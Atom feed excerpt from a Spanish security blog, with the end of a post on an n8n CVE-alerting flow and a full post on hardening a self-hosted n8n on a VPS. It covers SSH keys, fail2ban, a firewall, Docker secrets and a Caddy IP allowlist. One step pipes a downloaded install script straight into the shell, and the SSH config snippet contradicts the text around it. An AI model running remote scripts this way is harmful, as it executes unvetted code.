<p>Esta decisión es importante y necesaria, ya que <strong>si el sistema se queda callado no sabría si es porque no había nada o porque se había caído el flujo</strong> y no me he enterado, por ello prefiero que me diga “hoy nada” y así sé que ha corrido y que de verdad no había nada que me afectara.</p>

<h2 id="limitaciones">Limitaciones</h2>

<p><strong>El flujo depende de tres fuentes externas</strong>: NVD, EPSS y el feed de KEV de CISA. Si NVD no responde un día, no hay ejecución y punto.</p>

<p>Luego las CVEs recién publicadas suelen tardar horas o incluso días en recibir un <code class="language-plaintext highlighter-rouge">CPE</code> por parte de NVD, así que si quiero detectarlas desde el primer momento no me queda otra que buscarlas también por descripción.</p>

<p>El problema es que <strong>buscar por descripción genera más ruido y puede dar lugar a algún falso positivo</strong>. Aun así prefiero asumir ese ruido adicional antes que dejar pasar una vulnerabilidad importante durante sus primeras horas de vida. Para mí <strong>es mejor revisar una alerta de más que no enterarme de algo</strong> que realmente afecta a las tecnologías monitorizadas.</p>

<p>La watchlist también es manual, esto significa que <strong>el sistema no descubre automáticamente nuevas tecnologías incorporadas al entorno</strong>. Si monto una tecnología nueva y se me olvida añadirla a la lista, sus CVEs pasarán desapercibidas aunque sean críticas. El filtro es tan bueno como la lista que yo mantenga al día.</p>

<p>Y por último como mencioné anteriormente <strong>el matching por descripción puede dar algún falso positivo</strong> ya que un término como “caddy” puede aparecer en una descripción por casualidad y no porque la CVE afecte de verdad al servidor. De momento no me ha pasado, pero es el precio de no depender solo del CPE para las CVEs que aún no lo tienen.</p>

<h2 id="conclusión">Conclusión</h2>

<p>Al final el problema nunca fue encontrar vulnerabilidades, sino <strong>encontrar las relevantes entre las cientos que se publican cada día</strong>. Hacerlo a mano significaba revisar decenas o cientos de CVEs cada mañana para acabar quedándome con ninguna la mayoría de las veces, invirtiendo tiempo todos los días para no perder algo importante cuando realmente apareciera.</p>

<p><strong>Ahora ese trabajo se realiza automáticamente</strong>. Primero filtra por las tecnologías monitorizadas, después consulta EPSS y KEV y finalmente decide si una vulnerabilidad merece una alerta. La mayoría de días no recibo nada, y eso ya me vale como respuesta. Y cuando llega algo, llega con el contexto suficiente para saber qué es, a qué afecta y si requiere atención inmediata o puede esperar.</p>

<p>En una ejecución normal el flujo suele reducir varios cientos de CVEs publicadas durante las últimas 24 horas a entre 0 y 3 alertas relevantes.</p>

<p>No he montado esto para recibir más alertas. Lo he montado justo para lo contrario: para recibir muchas menos, pero que cuando suene el móvil sea por algo que realmente merece la pena mirar.</p>]]></content><author><name>iamEscri</name></author><category term="auto" /><category term="n8n" /><category term="nvd" /><category term="epss" /><category term="kev" /><category term="cve" /><category term="automatizacion" /><category term="telegram" /><category term="vulnsoc" /><summary type="html"><![CDATA[Cómo construí un flujo en n8n que consulta NVD cada mañana, descarta lo que no afecta a mi stack, prioriza por CVSS/EPSS/KEV y manda solo lo relevante a Telegram.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://iamescri.es/assets/img/og-default.png" /><media:content medium="image" url="https://iamescri.es/assets/img/og-default.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">n8n en un VPS: por qué lo securicé por capas en vez de levantarlo y ya</title><link href="https://iamescri.es/defensive/n8n-vps-securizado/" rel="alternate" type="text/html" title="n8n en un VPS: por qué lo securicé por capas en vez de levantarlo y ya" /><published>2026-05-28T00:00:00+00:00</published><updated>2026-05-28T00:00:00+00:00</updated><id>https://iamescri.es/defensive/n8n-vps-securizado</id><content type="html" xml:base="https://iamescri.es/defensive/n8n-vps-securizado/"><![CDATA[<p>Quería practicar y usar n8n, la vía rápida era n8n Cloud pero es de pago todos los meses y resulta algo costoso para lo que iba a usarlo. La alternativa era montar n8n yo mismo, solo necesitaba dónde levantarlo. El problema es que un <code class="language-plaintext highlighter-rouge">docker run</code> con la instalación <strong>por defecto expone el puerto 5678 y deja el panel de control de tus automatizaciones abierto a Internet</strong> sin nada delante corriendo un riesgo que no me apetecía asumir solo por comodidad.</p>

<p>Así que compré un VPS barato, monté n8n y ya que tocaba exponer a Internet un servicio que guarda credenciales y habla con APIs externas lo securicé en cada capa que podía tocar.</p>

<p>Esto no es un tutorial de n8n, es el razonamiento detrás de cada decisión que tomé, qué riesgo cubría cada una y dónde están los límites de lo que monté.</p>

<hr />

<h2 id="por-qué-no-dejarlo-simplemente-público">Por qué no dejarlo simplemente público</h2>

<p>Al principio pensé en levantarlo con HTTPS pero cuanto más miraba la superficie del panel menos sentido tenía ya que n8n guarda credenciales de servicios, tokens de API y la lógica de tus automatizaciones. Cualquiera con la URL podía ver el login.</p>

<p>Y el login ya es información porque confirma que ahí hay un n8n, qué versión corre, que tienes algo que merece la pena mirar.</p>

<p>La conclusión fue que <strong>el panel no tenía por qué ser visible para nadie que no fuera yo</strong>. A partir de ahí, todo lo demás son capas para sostener esa idea.</p>

<hr />

<h2 id="la-lógica-de-las-capas">La lógica de las capas</h2>

<p>No quería confiar en una sola medida, la idea es que si una falla la siguiente contiene el daño. En este despliegue el tráfico pasa por cinco filtros antes de llegar al panel:</p>

<ol>
  <li><strong>Firewall perimetral del proveedor:</strong>, bloquea el tráfico antes de que llegue al servidor.</li>
  <li><strong>SSH endurecido</strong>, sin root, sin contraseñas, solo clave ed25519.</li>
  <li><strong>Red interna Docker</strong>, los servicios aislados, sin puertos expuestos al exterior.</li>
  <li><strong>Reverse proxy con IP allowlist</strong>, el panel invisible para cualquier IP que no sea la mía.</li>
  <li><strong>Secretos fuera de ficheros de configuración</strong>, credenciales en Docker secrets, nunca en texto plano.</li>
</ol>

<p>Ninguno es complicado por separado, lo que importa es que estén todos, que entienda qué hace cada uno y que no queden huecos entre ellos.</p>

<p><img src="/assets/img/defensiva/n8n-en-VPS/diagrama.png" alt="Diagrama de arquitectura: capas de seguridad del despliegue de n8n" /></p>

<hr />

<h2 id="el-servidor">El servidor</h2>

<p>Elegí un Hetzner CX22: 2 vCPU, 4 GB de RAM y unos 10€/mes con IVA. Para un n8n de uso personal es más que suficiente ya que n8n en reposo consume poco y Postgres con una base de datos pequeña tampoco exige mucho. El margen es amplio y si en algún momento necesito más Hetzner me permite escalar el plan sin reconstruir nada.</p>

<p>La ubicación la puse en Nuremberg ya que desde España la latencia es baja y me interesaba que fuera infraestructura europea.</p>

<p>Para el sistema operativo fui con Ubuntu 24.04 LTS ya que tiene soporte hasta 2029 y ofrece un equilibrio razonable entre estabilidad, mantenimiento y disponibilidad de paquetes. La idea era montar una infraestructura que pudiera mantenerse durante años con el menor número posible de cambios importantes y espor eso que una versión LTS tenía bastante sentido</p>

<hr />

<h2 id="ssh-lo-primero-que-tocan">SSH: lo primero que tocan</h2>

<p>Cuando se expone un servidor a Internet los intentos de acceso por SSH empiezan en cuestión de minutos, cuando ví los logs había IPs probando antes de comenzar a configurar el servidor:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>May 10 03:14:22 sshd[1837]: Invalid user admin from 218.92.0.113
May 10 03:14:25 sshd[1839]: Invalid user root from 218.92.0.113
May 10 03:14:31 sshd[1841]: Invalid user ubuntu from 185.224.128.39
May 10 03:15:03 sshd[1844]: Invalid user postgres from 45.142.212.100
</code></pre></div></div>

<p>Lo que se ve ahí es exactamente lo que esperaba ver: bots rastreando rangos de IP y probando usuarios comunes como  <code class="language-plaintext highlighter-rouge">admin</code>, <code class="language-plaintext highlighter-rouge">root</code>, <code class="language-plaintext highlighter-rouge">ubuntu</code>, <code class="language-plaintext highlighter-rouge">postgres</code> , esto <strong>no es un ataque dirigido solo eses ruido automatizado constante</strong>.</p>

<p>El primer cambio que hice elimina los dos vectores más probados que son el login como root y autenticación por contraseña.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># /etc/ssh/sshd_config</span>
PermitRootLogin no
PasswordAuthentication no
</code></pre></div></div>

<p>Root es el objetivo porque existe en todos los Linux y tiene permisos totales, si entran el servidor es suyo sin necesidad de escalar nada.</p>

<h3 id="autenticación-por-clave-ed25519">Autenticación por clave ed25519</h3>

<p><strong>La autenticación por contraseña</strong> no me convencía ya que por muy larga que sea <strong>puede probarse por fuerza bruta</strong> de forma remota. Con autenticación por clave eso desaparece ya que la clave privada nunca sale de tu máquina y el servidor solo verifica una firma criptográfica. No hay secreto que interceptar ni que adivinar a distancia y eso por eso que preferí usar clave.</p>

<p>Para el algoritmo <strong>elegí ed25519 en lugar de RSA porque genera claves más cortas con el mismo nivel de seguridad</strong>, es más rápido en verificación y es el estándar actual. RSA sigue funcionando pero no le vi sentido a desplegar claves RSA nuevas salvo que necesitara compatibilidad con algo antiguo, y no era el caso.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh-keygen <span class="nt">-t</span> ed25519 <span class="nt">-C</span> <span class="s2">"hetzner-n8n"</span> <span class="nt">-f</span> ~/.ssh/id_ed25519_hetzner
</code></pre></div></div>

<p>La passphrase la añadí como segunda capa ya que si alguien se hace con el fichero de clave privada sin ella no le sirve de nada. El comando genera dos ficheros: la clave privada que se queda en mi máquina y la pública <code class="language-plaintext highlighter-rouge">.pub</code> que va al servidor.</p>

<p>Para pasarla al servidor creé un usuario no root para evitar trabajar directamente con la cuenta root , después le concedí privilegios administrativos mediante sudo para poder realizar tareas de administración, copié la clave pública a su carpeta <code class="language-plaintext highlighter-rouge">.ssh</code> y ajusté los permisos SSH de manera estricta para que otros usuarios no puedan leerlo:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adduser n8nadmin
usermod <span class="nt">-aG</span> <span class="nb">sudo </span>n8nadmin
<span class="nb">mkdir</span> <span class="nt">-p</span> /home/n8nadmin/.ssh
<span class="nb">cp</span> /root/.ssh/authorized_keys /home/n8nadmin/.ssh/
<span class="nb">chown</span> <span class="nt">-R</span> n8nadmin:n8nadmin /home/n8nadmin/.ssh
<span class="nb">chmod </span>700 /home/n8nadmin/.ssh
<span class="nb">chmod </span>600 /home/n8nadmin/.ssh/authorized_keys
</code></pre></div></div>

<p>Con el usuario listo y la clave en su sitio, deshabité root y contraseña:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># /etc/ssh/sshd_config</span>
PermitRootLogin no
PasswordAuthentication no
</code></pre></div></div>

<p><strong>El detalle que me costó un rato:</strong> en Ubuntu 24.04 hay un segundo fichero que pisa la configuración principal.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># /etc/ssh/sshd_config.d/50-cloud-init.conf</span>
PasswordAuthentication no
</code></pre></div></div>

<p>Si solo tocas <code class="language-plaintext highlighter-rouge">sshd_config</code> y dejas <code class="language-plaintext highlighter-rouge">sshd_config.d/50-cloud-init.conf</code> intacto la autenticación por contraseña sigue activa. Esto lo descubrí porque el cambio no surtía efecto y tuve que rastrear por qué. No es obvio si no sabes que ese fichero está ahí y es justo el tipo de cosa que crees haber cerrado y sigue abierta.</p>

<h3 id="fail2ban-bajar-el-ruido-no-cerrar-la-puerta">Fail2ban: bajar el ruido, no cerrar la puerta</h3>

<p>Con autenticación por clave el vector de fuerza bruta ya está muerto porque los bots o cualquier atacante no van a entrar probando contraseñas pero siguen intentándolo provocando que se generen escrituras en disco, <strong>consuma recursos y ensucie los logs con ruido</strong>. Es por ello que <strong>decidí implementar fail2ban para banear las IPs que intentasen entrar</strong> varias veces.</p>

<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nn">[sshd]</span><span class="w">
</span><span class="py">maxretry</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">3</span>
<span class="py">findtime</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">600</span>
<span class="py">bantime</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">604800</span>
</code></pre></div></div>

<p>Con esta configuración <strong>tres intentos fallidos en diez minutos provoca un ban de una semana</strong>. Un usuario legítimo no falla tres veces en diez segundos pero un bot agresivo sí. El bantime lo dejé en una semana a propósito porque un valor enorme complica recuperarte si algún día te baneas a ti mismo por error que también puede pasar pero no debería.</p>

<hr />

<h2 id="firewall-perimetral-filtrar-antes-de-que-llegue">Firewall perimetral: filtrar antes de que llegue</h2>

<p>La diferencia entre un firewall dentro del servidor como iptables o UFW y uno externo como el del proveedor es <em>dónde</em> actúa. Con iptables el paquete ya llegó a la máquina y se rechaza ahí pero <strong>con el firewall del proveedor ni siquiera alcanza el servidor.</strong></p>

<p>Eso tiene un efecto secundario que me interesaba ya que actúa como red de seguridad ante posibles errores debido a que <strong>si en algún momento un servicio queda escuchando en un puerto que no debería el firewall externo lo tapa</strong> igual independientemente de lo que pase dentro del VPS.</p>

<p>Las reglas de entrada son tres: TCP 22 para <code class="language-plaintext highlighter-rouge">SSH</code>, TCP 80 para la renovación de <code class="language-plaintext highlighter-rouge">certificados</code> y TCP 443 para el acceso <code class="language-plaintext highlighter-rouge">HTTPS</code>. Todo lo demás bloqueado por defecto.</p>

<p>El 80 lo necesito aunque solo acceda por HTTPS ya que el <strong>Caddy lo usa para renovar el certificado con Let’s Encrypt</strong>. Sin él, los certificados dejan de renovarse.</p>

<p><img src="/assets/img/defensiva/n8n-en-VPS/n8n-hetzner-firewall.png" alt="Reglas del firewall de Hetzner con los tres puertos configurados y estado Fully applied" /></p>

<p>El tráfico saliente lo dejé completamente abierto porque <strong>n8n necesita salir a APIs externas</strong> y Caddy a Let’s Encrypt.</p>

<hr />

<h2 id="docker-los-servicios-no-se-hablan-por-defecto">Docker: los servicios no se hablan por defecto</h2>

<p>Para instalar Docker usé el script oficial que detecta la distribución automáticamente:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-fsSL</span> https://get.docker.com | sh
<span class="nb">sudo </span>usermod <span class="nt">-aG</span> docker n8nadmin
</code></pre></div></div>

<p>El usuario <code class="language-plaintext highlighter-rouge">n8nadmin</code> lo añadí al grupo Docker para poder trabajar con Docker Compose sin utilizar sudo en cada operación. No deja de ser una <strong>decisión basada en confianza ya que quien controla Docker tiene un nivel de acceso muy elevado en el sistema</strong>. En este caso al tratarse de un servidor administrado únicamente por mí preferí priorizar la operatividad.</p>

<p><strong>n8n, Postgres y Caddy viven en una red interna de Docker</strong>. Postgres no publica ningún puerto y a la base de datos no se llega desde fuera del stack, solo n8n habla con ella por nombre de servicio interno. El 5678 de n8n tampoco está expuesto. Desde fuera ese puerto no existe.</p>

<p>Solo Caddy ve el exterior. Todo lo demás está detrás.</p>

<h3 id="secretos-fuera-de-las-variables-de-entorno">Secretos fuera de las variables de entorno</h3>

<p>Si las credenciales van en el <code class="language-plaintext highlighter-rouge">compose.yaml</code> como variables de entorno puede ocurrir que ese fichero acaba donde no debe: en Git, en un log, en una captura que compartes sin pensar. <strong>Con Docker secrets las credenciales viven en ficheros con permisos restringidos</strong> y dentro del contenedor aparecen en <code class="language-plaintext highlighter-rouge">/run/secrets/</code> , nunca en las variables de entorno que cualquier proceso del contenedor puede leer.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> <span class="nt">-p</span> ~/n8n/secrets
openssl rand <span class="nt">-base64</span> 32 <span class="o">&gt;</span> ~/n8n/secrets/pg_password.txt
openssl rand <span class="nt">-base64</span> 32 <span class="o">&gt;</span> ~/n8n/secrets/n8n_encryption_key.txt
<span class="nb">chmod </span>600 ~/n8n/secrets/<span class="k">*</span>.txt
</code></pre></div></div>

<p>La <code class="language-plaintext highlighter-rouge">N8N_ENCRYPTION_KEY</code> merece atención aparte ya que <strong>n8n cifra con ella todas las credenciales que guardas en los workflows</strong>. Si la clave cambia al recrear el contenedor, todas esas credenciales quedan ilegibles de golpe. La trato como clave maestra donde no debe de estar en el compose, en Git, y no se regenera salvo en un proceso controlado y a sabiendas de lo que implica.</p>

<h3 id="composeyaml">compose.yaml</h3>

<p>Así sería el docker compose con <strong>tres servicios en red interna</strong>. Ningún puerto de aplicación publicado hacia el exterior salvo los de Caddy:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">services</span><span class="pi">:</span>
  <span class="na">postgres</span><span class="pi">:</span>
    <span class="na">image</span><span class="pi">:</span> <span class="s">postgres:16</span>
    <span class="na">environment</span><span class="pi">:</span>
      <span class="na">POSTGRES_DB</span><span class="pi">:</span> <span class="s">n8n</span>
      <span class="na">POSTGRES_USER</span><span class="pi">:</span> <span class="s">n8n</span>
      <span class="na">POSTGRES_PASSWORD_FILE</span><span class="pi">:</span> <span class="s">/run/secrets/pg_password</span>
    <span class="na">secrets</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">pg_password</span>
    <span class="na">volumes</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">pgdata:/var/lib/postgresql/data</span>
    <span class="na">networks</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">internal</span>
    <span class="na">restart</span><span class="pi">:</span> <span class="s">unless-stopped</span>

  <span class="na">n8n</span><span class="pi">:</span>
    <span class="na">image</span><span class="pi">:</span> <span class="s">docker.n8n.io/n8nio/n8n:stable</span>
    <span class="na">environment</span><span class="pi">:</span>
      <span class="na">DB_TYPE</span><span class="pi">:</span> <span class="s">postgresdb</span>
      <span class="na">DB_POSTGRESDB_HOST</span><span class="pi">:</span> <span class="s">postgres</span>
      <span class="na">DB_POSTGRESDB_DATABASE</span><span class="pi">:</span> <span class="s">n8n</span>
      <span class="na">DB_POSTGRESDB_USER</span><span class="pi">:</span> <span class="s">n8n</span>
      <span class="na">DB_POSTGRESDB_PASSWORD_FILE</span><span class="pi">:</span> <span class="s">/run/secrets/pg_password</span>
      <span class="na">N8N_ENCRYPTION_KEY_FILE</span><span class="pi">:</span> <span class="s">/run/secrets/n8n_encryption_key</span>
      <span class="na">N8N_HOST</span><span class="pi">:</span> <span class="s">&lt;SUBDOMINIO&gt;</span>
      <span class="na">N8N_PROTOCOL</span><span class="pi">:</span> <span class="s">https</span>
      <span class="na">WEBHOOK_URL</span><span class="pi">:</span> <span class="s">https://&lt;SUBDOMINIO&gt;/</span>
      <span class="na">EXECUTIONS_DATA_PRUNE</span><span class="pi">:</span> <span class="s2">"</span><span class="s">true"</span>
      <span class="na">EXECUTIONS_DATA_MAX_AGE</span><span class="pi">:</span> <span class="s2">"</span><span class="s">168"</span>
      <span class="na">GENERIC_TIMEZONE</span><span class="pi">:</span> <span class="s">Europe/Madrid</span>
    <span class="na">secrets</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">pg_password</span>
      <span class="pi">-</span> <span class="s">n8n_encryption_key</span>
    <span class="na">volumes</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">n8n_data:/home/node/.n8n</span>
    <span class="na">networks</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">internal</span>
    <span class="na">depends_on</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">postgres</span>
    <span class="na">restart</span><span class="pi">:</span> <span class="s">unless-stopped</span>

  <span class="na">caddy</span><span class="pi">:</span>
    <span class="na">image</span><span class="pi">:</span> <span class="s">caddy:2</span>
    <span class="na">ports</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">80:80"</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">443:443"</span>
    <span class="na">volumes</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">./Caddyfile:/etc/caddy/Caddyfile</span>
      <span class="pi">-</span> <span class="s">caddy_data:/data</span>
      <span class="pi">-</span> <span class="s">caddy_config:/config</span>
    <span class="na">networks</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">internal</span>
    <span class="na">restart</span><span class="pi">:</span> <span class="s">unless-stopped</span>

<span class="na">networks</span><span class="pi">:</span>
  <span class="na">internal</span><span class="pi">:</span>

<span class="na">volumes</span><span class="pi">:</span>
  <span class="na">pgdata</span><span class="pi">:</span>
  <span class="na">n8n_data</span><span class="pi">:</span>
  <span class="na">caddy_data</span><span class="pi">:</span>
  <span class="na">caddy_config</span><span class="pi">:</span>

<span class="na">secrets</span><span class="pi">:</span>
  <span class="na">pg_password</span><span class="pi">:</span>
    <span class="na">file</span><span class="pi">:</span> <span class="s">./secrets/pg_password.txt</span>
  <span class="na">n8n_encryption_key</span><span class="pi">:</span>
    <span class="na">file</span><span class="pi">:</span> <span class="s">./secrets/n8n_encryption_key.txt</span>
</code></pre></div></div>

<p>Algunas de las decisiones que tomé de este YAML:</p>

<p><strong>Postgres en lugar de SQLite.</strong> n8n usa SQLite por defecto y es lo más rápido de levantar, pero SQLite no maneja bien la concurrencia y hace backup sucio si hay escrituras en curso. Con workflows ejecutándose con frecuencia decidí que Postgres es la decisión correcta desde el principio.</p>

<p><strong><code class="language-plaintext highlighter-rouge">stable</code> en lugar de <code class="language-plaintext highlighter-rouge">latest</code>.</strong> n8n distingue explícitamente entre los dos tags. <code class="language-plaintext highlighter-rouge">latest</code> puede apuntar a versiones beta y en un despliegue que quiero mantener funcionando sin problemas no tenía sentido asumir ese riesgo cuando existe un tag específico para producción.</p>

<p><strong>El puerto 5678 no está publicado.</strong> Si lo publicara en el compose cualquiera que alcanzara el servidor llegaría al panel directamente sin pasar por Caddy, sin TLS, sin control de acceso. Al no publicarlo ese puerto no existe fuera de la red interna Docker. Caddy es el único que puede llegar a n8n y lo hace por nombre de servicio. Eso <strong>reduce la superficie</strong> a un solo punto de entrada.</p>

<p><strong>EXECUTIONS_DATA_MAX_AGE: “168”.</strong> Retención de 7 días. Sin esto el historial de ejecuciones crece indefinidamente. Es fácil no darse cuenta hasta que el disco está al 90% y empiezan los problemas y es por ello que preferí ponerlo desde el primer día.</p>

<p><strong>GENERIC_TIMEZONE: Europe/Madrid.</strong> Los timestamps en UTC dificultan correlacionar eventos con lo que realmente pasó. Con la hora local los logs tienen sentido a primera vista sin tener que hacer conversiones mentales.</p>

<hr />

<h2 id="caddy-el-único-punto-de-entrada-visible">Caddy: el único punto de entrada visible</h2>

<p>Caddy <strong>hace de reverse proxy</strong> el cual gestiona el TLS automáticamente con Let’s Encrypt y es donde implemento el control de acceso real.</p>

<h3 id="ip-allowlist-el-panel-invisible">IP allowlist: el panel invisible</h3>

<p>Cualquier IP que no sea la mía recibe un <code class="language-plaintext highlighter-rouge">403 Forbidden</code> y no ve nada más, ni el login de n8n, ni una pista de qué hay detrás. <strong>Para todo lo que no sea mi IP el panel sencillamente no está ahí.</strong></p>

<p><img src="/assets/img/defensiva/n8n-en-VPS/n8n-403-forbidden.png" alt="403 Forbidden recibido al acceder desde una IP diferente mediante VPN" /></p>

<p>La pega es que si mi IP cambia ,otra conexión, un viaje o una IP dinámica que rota provoca que pierda el acceso hasta que actualice la config y recargue Caddy. Es incómodo. Pero la alternativa es dejar el panel expuesto al mundo, y entre incómodo y expuesto me quedo con incómodo. Una alternativa sería usar DDNS con mi IP publica.</p>

<h3 id="rutas-separadas-para-webhooks">Rutas separadas para webhooks</h3>

<p>Los webhooks sí tienen que ser accesibles desde Internet porque los invocan servicios externos. Van en rutas separadas que saltan el allowlist, mientras el resto sigue protegido:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>handle /webhook/* {
    reverse_proxy n8n:5678
}
handle /webhook-test/* {
    reverse_proxy n8n:5678
}
handle {
    @tuip remote_ip &lt;TU_IP&gt;
    handle @tuip {
        reverse_proxy n8n:5678
    }
    handle {
        respond "403 Forbidden" 403
    }
}
</code></pre></div></div>

<h3 id="cabeceras-de-seguridad">Cabeceras de seguridad</h3>

<p>Estas son las cabeceras de seguridad que utilicé</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Strict-Transport-Security "max-age=31536000; includeSubDomains"
X-Content-Type-Options "nosniff"
X-Frame-Options "DENY"
Referrer-Policy "no-referrer"
-Server
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">Strict-Transport-Security</code> fuerza al navegador a usar siempre HTTPS  y una vez que lo recibe no vuelve a intentar HTTP durante un año. Si alguien intenta hacer un downgrade de conexión, el navegador lo rechaza directamente.</p>

<p><code class="language-plaintext highlighter-rouge">X-Content-Type-Options nosniff</code> evita que el navegador adivine el tipo de contenido de un archivo y lo interprete como algo que no es lo que cierra un vector clásico de inyección.</p>

<p><code class="language-plaintext highlighter-rouge">X-Frame-Options DENY</code> impide que el panel se cargue dentro de un iframe ajeno cortando ataques de clickjacking.</p>

<p><code class="language-plaintext highlighter-rouge">Referrer-Policy no-referrer</code> hace que el navegador no envíe información de origen cuando navegas fuera del panel ya que nadie necesita saber desde dónde llegaste. Y quitar el header <code class="language-plaintext highlighter-rouge">Server</code> elimina la pista de qué software está detrás, un detalle pequeño, pero reduce el reconocimiento pasivo y no cuesta nada hacerlo.</p>

<h3 id="caddyfile-completo">Caddyfile completo</h3>

<p>Para referencia, este es el Caddyfile completo con todo lo anterior integrado:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;SUBDOMINIO&gt; {
  header {
    Strict-Transport-Security "max-age=31536000; includeSubDomains"
    X-Content-Type-Options "nosniff"
    X-Frame-Options "DENY"
    Referrer-Policy "no-referrer"
    -Server
  }

  handle /webhook/* {
    reverse_proxy n8n:5678
  }

  handle /webhook-test/* {
    reverse_proxy n8n:5678
  }

  handle {
    @tuip remote_ip &lt;IP NUESTRA&gt;
    handle @tuip {
      reverse_proxy n8n:5678
    }
    handle {
      respond "403 Forbidden" 403
    }
  }
}
</code></pre></div></div>

<p>Para recargar Caddy sin reiniciar el contenedor usé el siguiente comando:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker compose <span class="nb">exec </span>caddy caddy reload <span class="nt">--config</span> /etc/caddy/Caddyfile
</code></pre></div></div>

<hr />

<h2 id="dns-y-tls">DNS y TLS</h2>

<p>Para el DNS añadí un registro A apuntando el subdominio a la IP del VPS. Puse TTL 300 durante la configuración para que propagara rápido.</p>

<p>Caddy resuelve el challenge TLS-ALPN-01 con Let’s Encrypt automáticamente al arrancar. No hay ningún cron, ningún certbot, ningún proceso externo que gestionar. Los logs confirman el momento exacto en que el certificado está listo:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>caddy  | {"level":"info","msg":"certificate obtained successfully","identifier":"&lt;SUBDOMINIO&gt;"}
</code></pre></div></div>

<p>A partir de ahí la renovación es automática y transparente.</p>

<hr />

<h2 id="arranque-y-lo-que-encontré-la-primera-vez">Arranque y lo que encontré la primera vez</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker compose up <span class="nt">-d</span>
docker compose ps
</code></pre></div></div>

<p>El orden en el que verifico es el siguiente: primero que los tres contenedores estén en <code class="language-plaintext highlighter-rouge">Up</code>, luego los logs de Caddy para confirmar el certificado, luego acceso al panel desde mi IP y 403 desde otra IP diferente.</p>

<p>Algo que me encontré en el primer arranque fue que el <code class="language-plaintext highlighter-rouge">depends_on</code> del compose garantiza que Postgres arranca antes que n8n, pero no espera a que Postgres esté listo para aceptar conexiones. n8n puede arrancar antes de que la base de datos haya terminado de inicializarse y falla en el primer intento de conexión provocando que en los logs se muestre un error de conexión que pueda confundir si no sabe qué es. Con <code class="language-plaintext highlighter-rouge">restart: unless-stopped</code> Docker lo reintenta automáticamente y en unos segundos se resuelve solo, pero la primera vez que lo vi tuve que investigar si era un problema real o simplemente un tema de timing. Era lo segundo.</p>

<hr />

<h2 id="lo-que-no-sube-a-git">Lo que no sube a Git</h2>

<p>El <code class="language-plaintext highlighter-rouge">compose.yaml</code> y el <code class="language-plaintext highlighter-rouge">Caddyfile</code> van a un repositorio privado. La carpeta <code class="language-plaintext highlighter-rouge">secrets/</code> nunca aunque el repositorio sea privado, los secretos en Git siguen siendo un riesgo ya que con que se haga público por error, que un token de acceso se filtre, o que alguien con acceso de lectura no debiera tenerlo.</p>

<p><strong>Los secretos viven solo en el servidor</strong>, con permisos 600, propiedad del usuario que corre los contenedores. Es el único sitio donde tienen que estar.</p>

<hr />

<h2 id="lo-que-falta">Lo que falta</h2>

<p>Hay dos cosas que dejé pendientes y prefiero decirlas claras antes de que alguien las encuentre por mí.</p>

<p>Los endpoints <code class="language-plaintext highlighter-rouge">/webhook/*</code> están públicos por diseño pero ahora mismo no tienen rate limiting y esto provoca que cualquiera pueda mandarles peticiones en masa. Resolverlo bien requiere una imagen propia de Caddy con el plugin <code class="language-plaintext highlighter-rouge">caddy-ratelimit</code>, así que de momento queda apuntado.</p>

<p>La autenticación de webhooks con HMAC tampoco está. Hoy quien conozca la URL de un webhook puede invocarlo sin más. La solución es validar un header firmado dentro de cada workflow antes de ejecutar la lógica. Lo dejaré documentado en un post aparte cuando tenga flujos reales que enseñar, no antes.</p>

<hr />

<h2 id="lo-que-queda-montado">Lo que queda montado</h2>

<p>El servidor solo acepta SSH por <code class="language-plaintext highlighter-rouge">clave</code>, sin root posible. <strong>El firewall perimetral bloquea todo lo que no sean los tres puertos que necesito</strong>. Los servicios están <code class="language-plaintext highlighter-rouge">aislados</code> en red interna y ningún puerto de aplicación se expone directamente. <strong>El panel de n8n es invisible para cualquier IP que no sea la mía</strong> y las credenciales no aparecen en texto plano en ningún fichero de configuración.</p>

